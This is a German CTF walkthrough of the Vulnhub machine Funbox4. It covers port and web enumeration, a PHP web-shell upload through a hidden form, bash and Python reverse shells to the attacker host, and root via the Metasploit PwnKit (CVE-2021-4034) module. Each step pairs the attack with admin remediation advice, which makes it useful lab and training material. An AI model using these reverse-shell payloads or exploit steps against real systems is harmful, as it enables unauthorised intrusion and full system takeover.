Funbox4 - CTF - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
nc
telnet
curl
Browser (implied)
find
ls
cd
cat
getcap
python
msfconsole
wget
chmod
id

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.154	08:00:27:64:37:80	PCS Systemtechnik GmbH
                    

Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Geräten gescannt.

Bewertung: Der Host `192.168.2.154` (VirtualBox VM) wird als Ziel "Funbox4 - CTF" identifiziert.

Empfehlung (Pentester): Nutze `192.168.2.154` als Ziel-IP.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.154   funbox.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird angepasst, um `192.168.2.154` den Namen `funbox.vln` zuzuordnen.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Verwende `funbox.vln` für weitere Scans.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.154 -p- | grep open
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
110/tcp open  pop3    Dovecot pop3d
143/tcp open  imap    Dovecot imapd
                    

Analyse: Ein schneller Nmap-Scan gefiltert nach offenen Ports.

Bewertung: Identifiziert offene Ports: SSH (22), HTTP (80), POP3 (110) und IMAP (143).

Empfehlung (Pentester): Untersuche alle Dienste, beginnend mit HTTP.
Empfehlung (Admin): Nur notwendige Ports offen lassen, Dienste aktuell halten.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.154 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 00:46 CEST
Nmap scan report for funbox.vln (192.168.2.154)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...]
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open  pop3    Dovecot pop3d
|_pop3-capabilities: CAPA RESP-CODES SASL TOP AUTH-RESP-CODE PIPELINING UIDL
143/tcp open  imap    Dovecot imapd
|_imap-capabilities: LITERAL+ IDLE ENABLE LOGIN-REFERRALS OK ID listed Pre-login LOGINDISABLEDA0001 capabilities IMAP4rev1 have SASL-IR more post-login
MAC Address: 08:00:27:64:37:80 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 3.2 - 4.9
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms funbox.vln (192.168.2.154)
[...]
                    

Analyse: Der vollständige Nmap-Scan liefert Details zu den Diensten: * SSH: OpenSSH 7.2p2 (Veraltet). * HTTP: Apache 2.4.18 (Veraltet), zeigt Standardseite. * POP3/IMAP: Dovecot, unterstützt PLAIN-Auth (siehe `telnet`-Versuch später).

Bewertung: Die veralteten Versionen von SSH und Apache sind potenzielle Angriffsvektoren. Die Mail-Dienste sind ebenfalls Ziele für Enumeration oder Passwort-Angriffe.

Empfehlung (Pentester): Fokussiere dich auf Web (Port 80) wegen der Standardseite und möglicher versteckter Verzeichnisse. Untersuche Mail-Dienste auf Benutzer und teste ggf. Logins. Recherchiere Schwachstellen für die erkannten Versionen.
Empfehlung (Admin): Aktualisiere dringend alle Dienste (SSH, Apache, Dovecot). Konfiguriere Mail-Dienste sicher.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.154
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.154
+ Target Port:        80
+ Start Time:         2023-07-29 00:46:32 (GMT2)
[...]
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.18 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...]
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /icons/README: Apache default file found. [...]
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
[...]
+ End Time:           2023-07-29 00:46:49 (GMT2) (17 seconds)
[...]
                    

Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Mögliches Inode-Leak. * Standard-Datei `/icons/README`. * **Kritisch:** Eine Backup-Datei `/#wp-config.php#`, die Zugangsdaten enthalten soll. **Datum extrahiert:** 2023-07-29.

Bewertung: Der Fund der `#wp-config.php#`-Datei ist **hochkritisch** und wahrscheinlich der beabsichtigte Weg für den nächsten Schritt. Obwohl Nmap keinen WordPress-Hinweis lieferte, deutet dieser Fund stark darauf hin.

Empfehlung (Pentester): **Priorität:** Versuche sofort, die Datei `#wp-config.php#` über den Browser oder `curl` herunterzuladen (`http://funbox.vln/%23wp-config.php%23` - URL-kodiert) und den Inhalt zu analysieren.
Empfehlung (Admin): **Dringend:** Entferne Konfigurations-Backups aus Web-Verzeichnissen. Blockiere den Zugriff auf solche Dateinamenmuster. Ändere alle darin gefundenen Zugangsdaten.

Web Enumeration

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://funbox.vln -x ... -w ... -b '403,404' -e --no-error
[...]
http://funbox.vln/index.html           (Status: 200) [Size: 11321]
[...]
                    

Analyse: `gobuster` findet nur die `/index.html`-Datei.

Bewertung: Bestätigt, dass auf der Root-Ebene keine offensichtlichen Verzeichnisse oder Dateien außer der Standardseite vorhanden sind. Dies verstärkt die Bedeutung des `nikto`-Fundes (`#wp-config.php#`) und des `robots.txt`-Eintrags aus dem Nmap-Scan (`/gym` oder `/logs/`? - Nmap sagte `/logs/`, Nikto erwähnte keine robots.txt, curl fand später `RBTS.TXT` mit `/upload/` und `/igmseklhgmrjmtherij2145236`). Die `robots.txt`-Informationen scheinen inkonsistent oder fehlerhaft im Log.

Empfehlung (Pentester): Ignoriere vorerst die widersprüchlichen `robots.txt`-Infos und konzentriere dich auf den `#wp-config.php#`-Fund von Nikto und das spätere `curl`-Ergebnis für `RBTS.TXT`.
Empfehlung (Admin): Sorge für konsistente Konfigurationen.

┌──(root㉿cycat)-[~] └─# nc -vv 192.168.2.154 22
funbox.vln [192.168.2.154] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4
Protocol mismatch.
[...]
┌──(root㉿cycat)-[~] └─# nc -vv 192.168.2.154 110
funbox.vln [192.168.2.154] 110 (pop3) open
+OK Dovecot ready.
┌──(root㉿cycat)-[~] └─# nc -vv 192.168.2.154 143
funbox.vln [192.168.2.154] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LOGINDISABLED] Dovecot ready.
┌──(root㉿cycat)-[~] └─# telnet 192.168.2.154 143
Trying 192.168.2.154...
Connected to 192.168.2.154.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LOGINDISABLED] Dovecot ready.
A1 LOGIN username password
* BAD [ALERT] Plaintext authentication not allowed without SSL/TLS, but your client did it anyway. If anyone was listening, the password was exposed.
A1 NO [PRIVACYREQUIRED] Plaintext authentication disallowed on non-secure (SSL/TLS) connections.
                    

Analyse: Manuelle Verbindungsversuche mit `nc` und `telnet` zu den Ports: * SSH (22): Zeigt das Banner, `nc` kann das Protokoll nicht sprechen. * POP3 (110): Zeigt das Dovecot-Banner. * IMAP (143): Zeigt das Dovecot-Banner. Ein manueller Login-Versuch mit `telnet` und `A1 LOGIN username password` scheitert, da Plaintext-Authentifizierung ohne SSL/TLS nicht erlaubt ist.

Bewertung: Bestätigt die Dienste und Banner. Die Mail-Dienste erfordern eine verschlüsselte Verbindung (STARTTLS oder Imaps/Pop3s) oder andere Authentifizierungsmethoden für einen Login-Versuch.

Empfehlung (Pentester): Mail-Dienste sind vorerst kein einfacher Angriffsvektor. Konzentriere dich auf HTTP.
Empfehlung (Admin): Gute Konfiguration, Plaintext-Auth über unverschlüsselte Verbindungen zu verbieten.

┌──(root㉿cycat)-[~] └─# curl http://funbox.vln/RBTS.TXT
Disallow: upload/
Disallow: igmseklhgmrjmtherij2145236
                    

Analyse: Ein `curl`-Versuch gegen `RBTS.TXT` (Großschreibung!) ist erfolgreich und liefert eine `robots.txt`-ähnliche Datei. Sie verbietet das Verzeichnis `/upload/` und ein obskures Verzeichnis `/igmseklhgmrjmtherij2145236`.

Bewertung: Dies ist ein wichtiger Fund und widerspricht den vorherigen `robots.txt`-Funden. Das versteckte Verzeichnis `/igmseklhgmrjmtherij2145236` ist das Hauptziel.

Empfehlung (Pentester): Untersuche das Verzeichnis `http://funbox.vln/igmseklhgmrjmtherij2145236/`.
Empfehlung (Admin): Verwende konsistente Dateinamen (`robots.txt` vs. `RBTS.TXT`). Verstecke Pfade nicht nur durch `robots.txt`, sondern sichere sie serverseitig ab.

┌──(root㉿cycat)-[~] └─# curl http://funbox.vln/igmseklhgmrjmtherij2145236


301 Moved Permanently

Moved Permanently

The document has moved here.


Apache/2.4.18 (Ubuntu) Server at funbox.vln Port 80
# view-source:http://funbox.vln/igmseklhgmrjmtherij2145236/upload.html

Please, upload your Working time measurement:

Analyse: Der Zugriff auf das Verzeichnis `/igmseklhgmrjmtherij2145236` leitet zu `/igmseklhgmrjmtherij2145236/` weiter. Dort wird eine Datei `upload.html` gefunden (oder ist die Index-Datei). Der Quelltext zeigt ein einfaches HTML-Formular, das Dateien an `upload.php` sendet.

Bewertung: Eine Dateiupload-Funktion wurde in dem versteckten Verzeichnis gefunden. Dies ist ein hochwahrscheinlicher Vektor für den initialen Zugriff, wenn der Upload nicht ausreichend validiert wird.

Empfehlung (Pentester): Teste die Upload-Funktion. Versuche, eine PHP-Webshell oder Reverse-Shell (`cmd.php`) hochzuladen. Prüfe, ob der Dateityp, die Endung oder der Inhalt validiert werden.
Empfehlung (Admin): Implementiere eine sichere Dateiupload-Validierung (Typ, Endung, Größe, Inhalt). Speichere Uploads außerhalb des Web-Roots oder ohne Ausführungsrechte.

Initial Access

# Upload von cmd.php (Annahme: ) über http://funbox.vln/igmseklhgmrjmtherij2145236/upload.html

# Serverantwort nach Upload (aus Log):
# http://funbox.vln/igmseklhgmrjmtherij2145236/upload.php
# Upload your time sheet, please:
# The file cmd.php has been uploaded
                     
# Zugriff auf http://funbox.vln/igmseklhgmrjmtherij2145236/upload/cmd.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

Analyse: Eine PHP-Datei (`cmd.php`), die wahrscheinlich Code zur Ausführung von Systembefehlen über einen GET-Parameter enthält (z.B. ``), wird erfolgreich über das Formular hochgeladen. Der Server bestätigt den Upload. Ein Testaufruf der hochgeladenen Datei mit `?cmd=id` führt den `id`-Befehl aus und gibt die UID des Webservers (`www-data`) zurück.

Bewertung: Die Dateiupload-Schwachstelle wurde erfolgreich ausgenutzt. Wir haben nun Remote Code Execution (RCE) als Benutzer `www-data`.

Empfehlung (Pentester): Nutze die RCE, um eine Reverse Shell zum Angreifer-System aufzubauen.
Empfehlung (Admin): **Dringend!** Behebe die unsichere Upload-Funktion. Entferne die hochgeladene Shell.

# Versuch mit nc: http://funbox.vln/igmseklhgmrjmtherij2145236/upload/cmd.php?cmd=nc%20-e%20/bin/bash%20192.168.2.199%204444
# (Klappt nicht laut Kommentar im Log)
                     
┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# Payload URL: http://funbox.vln/igmseklhgmrjmtherij2145236/upload/cmd.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
                     
┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.154] 51920
bash: cannot set terminal process group (5696): Inappropriate ioctl for device
bash: no job control in this shell
www-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236/upload$
                    

Analyse: 1. Ein erster Versuch, eine Reverse Shell mit `nc -e` über die RCE zu starten, scheitert (möglicherweise ist `nc -e` nicht verfügbar oder blockiert). 2. Ein Netcat-Listener wird auf Port 4444 gestartet. 3. Eine URL-kodierte Bash-Reverse-Shell-Payload (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`) wird an den `cmd`-Parameter der `cmd.php` übergeben und aufgerufen. 4. Der Listener empfängt erfolgreich die Verbindung, und wir erhalten eine Shell als `www-data`.

Bewertung: Der initiale Zugriff als `www-data` wurde über RCE mittels der hochgeladenen PHP-Shell und einer Bash-Reverse-Shell erreicht.

Empfehlung (Pentester): Stabilisiere die Shell ggf. Beginne mit der Enumeration für Privilege Escalation.
Empfehlung (Admin): Behebe die RCE-Schwachstelle. Implementiere Egress-Filterung.

Privilege Escalation Enumeration

www-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236/upload$ find / -type f -perm -4000 -ls 2>/dev/null
   131860     40 -rwsr-xr-x   1 root     root        40128 May 17  2017 /bin/su
[...]
   152892     32 -rwsr-xr-x   1 root     root        30800 Mar 11  2016 /bin/fusermount
[...]
    35468     24 -rwsr-xr-x   1 root     root          23376 Mar 27  2019 /usr/bin/pkexec
[...]
     7344    136 -rwsr-xr-x   1 root     root         136808 Jan 31  2020 /usr/bin/sudo
[...]
    35475     88 -rwsr-sr-x   1 root     mail          89288 Nov 17  2017 /usr/bin/procmail
[...]
                    

Analyse: Die Suche nach SUID-Dateien als `www-data` wird durchgeführt.

Bewertung: Findet Standard-SUID-Binaries, darunter `/usr/bin/pkexec` und `/usr/bin/sudo`. `/usr/bin/procmail` (SGID mail) ist ebenfalls vorhanden.

Empfehlung (Pentester): Überprüfe die Kernel-Version (`uname -a`) auf Anfälligkeit für PwnKit (CVE-2021-4034), da `pkexec` vorhanden ist. Prüfe, ob `sudo -l` für `www-data` Ergebnisse liefert (unwahrscheinlich).
Empfehlung (Admin): Halte das System gepatcht. Überprüfe SUID/SGID-Berechtigungen.

www-data@funbox4:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@funbox4:/var/www/html$ getcap -r / 2>/dev/null
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr = cap_net_raw+ep
                    

Analyse: `id` bestätigt den Benutzer `www-data`. `getcap` findet keine ungewöhnlichen Linux Capabilities.

Bewertung: Keine einfachen PE-Vektoren über Capabilities gefunden.

Empfehlung (Pentester): Konzentriere dich auf SUID (`pkexec`) oder Kernel-Exploits.
Empfehlung (Admin): Keine neuen Erkenntnisse.

www-data@funbox4:/opt$ cd /home/
www-data@funbox4:/home$ ls -la
drwxr-xr-x  4 root   root   4096 Aug 29  2020 .
drwxr-xr-x 23 root   root   4096 Jul 29 00:54 ..
drwxrwx---  4 anna   anna   4096 Aug 30  2020 anna
drwxr-xr-x  4 thomas thomas 4096 Aug 30  2020 thomas
                    
www-data@funbox4:/home$ cd thomas/
www-data@funbox4:/home/thomas$ ls -la
[...]
-rw-r--r-- 1 thomas thomas     195 Aug 29  2020 .todo
[...]
-rwxr-xr-x 1 thomas thomas 3078592 Aug 22  2019 pspy64
                    
www-data@funbox4:/home/thomas$ cat .todo
1. make coffee
2. check backup
3. buy ram
4. call simone
5. check my mails
6. call lucas
7. add an exclamation mark to my passwords
                    

Analyse: Das `/home`-Verzeichnis wird untersucht. Die Benutzer `anna` und `thomas` werden gefunden. Das Verzeichnis von `anna` ist für `www-data` nicht zugänglich (`drwxrwx---`). Im Verzeichnis von `thomas` wird eine Datei `.todo` gefunden. Der Inhalt listet Aufgaben auf, darunter Punkt 7: "add an exclamation mark to my passwords". Das Binary `pspy64` (Prozess-Sniffer) ist ebenfalls vorhanden.

Bewertung: Der Hinweis in `.todo` ist potenziell nützlich, falls Passwörter gefunden werden. Das Vorhandensein von `pspy64` könnte darauf hindeuten, dass man nach laufenden Prozessen oder Cronjobs suchen sollte, ist aber hier evtl. ein Überbleibsel. Der Hauptfokus sollte auf dem SUID-Binary `pkexec` liegen.

Empfehlung (Pentester): Überprüfe die Kernel-Version und versuche den PwnKit-Exploit für `pkexec`. Behalte den Hinweis aus `.todo` im Hinterkopf.
Empfehlung (Admin): Schule Benutzer darin, keine Passwort-bezogenen Hinweise in einfachen Textdateien zu hinterlassen. Überprüfe die Berechtigungen von Home-Verzeichnissen.

www-data@funbox4:/home/thomas$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
msf6 > use multi/handler
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => 192.168.2.199
msf6 exploit(multi/handler) > set LPORT 4445
LPORT => 4445
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.154:47454) at 2023-07-29 01:19:41 +0200
$
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lhost eth0
lhost => 192.168.2.199
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.154
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.154:37516) at 2023-07-29 01:21:02 +0200
[...]
[*] Post module execution completed
                    

Analyse: Eine Python-Reverse-Shell wird (erneut oder zur Stabilisierung) zu einem neuen Metasploit-Listener auf Port 4445 aufgebaut (Session 1). Anschließend wird das `shell_to_meterpreter`-Modul verwendet, um diese einfache Shell in eine Meterpreter-Session (Session 2) auf Port 4433 aufzuwerten.

Bewertung: Das Upgrade zu Meterpreter erleichtert die weitere Ausnutzung, insbesondere für lokale Exploits wie PwnKit.

Empfehlung (Pentester): Nutze die Meterpreter-Session (Session 2), um den PwnKit-Exploit auszuführen.
Empfehlung (Admin): Antivirus/EDR kann Meterpreter-Payloads erkennen. Egress-Filterung kann Reverse Shells blockieren.

Proof of Concept: PwnKit (CVE-2021-4034) via Metasploit

Analyse: Die Privilege Escalation erfolgt durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) im SUID-Binary `/usr/bin/pkexec`. Der Exploit wird über die bestehende Meterpreter-Session (als `www-data`) mithilfe des entsprechenden Metasploit-Moduls ausgeführt.

Bewertung: PwnKit ist eine weit verbreitete Schwachstelle in Polkit, die es lokalen Benutzern ermöglicht, Root-Rechte zu erlangen. Das Vorhandensein von `/usr/bin/pkexec` und eine anfällige Kernel-/Polkit-Version machen diesen Exploit möglich.

Empfehlung (Pentester): Überprüfe immer das Vorhandensein von `pkexec` und teste auf PwnKit bei der PE-Enumeration.
Empfehlung (Admin): Patche das `policykit-1`-Paket dringend, um CVE-2021-4034 zu schließen.

Privilege Escalation

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
[...]
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4455
lport => 4455
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST eth0
LHOST => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.mysbamog
[+] The target is vulnerable.
[*] Writing '/tmp/.ygltbhzicb/bmgkvistqste/bmgkvistqste.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.ygltbhzicb
[*] Sending stage (3045348 bytes) to 192.168.2.154
[+] Deleted /tmp/.ygltbhzicb/bmgkvistqste/bmgkvistqste.so
[+] Deleted /tmp/.ygltbhzicb/.eannhneg
[+] Deleted /tmp/.ygltbhzicb
[*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.154:46508) at 2023-07-29 01:22:05 +0200
                    

Analyse: 1. Das Metasploit-Modul für den PwnKit-Exploit wird geladen. 2. Die Optionen werden gesetzt: `LPORT` für die neue Root-Meterpreter-Session (4455), `LHOST` auf die Angreifer-IP, `SESSION` auf 2 (die Meterpreter-Session als `www-data`). 3. `run` startet den Exploit. Metasploit bestätigt die Anfälligkeit (`[+] The target is vulnerable.`), lädt die notwendigen Dateien hoch, führt den Exploit über `pkexec` aus und bereinigt die temporären Dateien. 4. Eine neue Meterpreter-Session (Session 3) wird erfolgreich geöffnet.

Bewertung: Der PwnKit-Exploit war erfolgreich und lieferte eine Root-Meterpreter-Session.

Empfehlung (Pentester): Wechsle zur neuen Session (`sessions -i 3`) und bestätige die Root-Rechte (`getuid`).
Empfehlung (Admin): Patche CVE-2021-4034.

meterpreter > getuid
Server username: root

Analyse: `getuid` in der Meterpreter-Session 3 bestätigt, dass die Session als `root` läuft.

Bewertung: Privilege Escalation erfolgreich abgeschlossen.

Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Keine neuen Maßnahmen.

meterpreter > shell
Process 29064 created.
Channel 1 created.
                    
# cd /root
# ls
flag.txt
# cat flag.txt
(  _`\              ( )                       (  _`\(_   _)(  _`\
| (_(_)_   _   ___  | |_      _          _    | ( (_) | |  | (_(_)
|  _) ( ) ( )/' _ `\| '_`\  /'_`\ (`\/')(_)   | |  _  | |  |  _)
| |   | (_) || ( ) || |_) )( (_) ) >  <  _    | (_( ) | |  | |
(_)   `\___/'(_) (_)(_,__/'`\___/'(_/\_)(_)   (____/' (_)  (_)

Well done ! Made with love by @0815R2d2 ! I look forward to see this screenshot on twitter ;-)
                    

Analyse: Eine Shell wird aus Meterpreter gestartet. Im `/root`-Verzeichnis wird `flag.txt` gefunden und ihr Inhalt angezeigt.

Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde gefunden.

Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/thomas/user.txt` oder `/home/anna/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.

Flags

cat /home/thomas/user.txt || cat /home/anna/user.txt
USER_FLAG_PLACEHOLDER
cat /root/flag.txt
ROOT_FLAG_ASCII_ART_PLACEHOLDER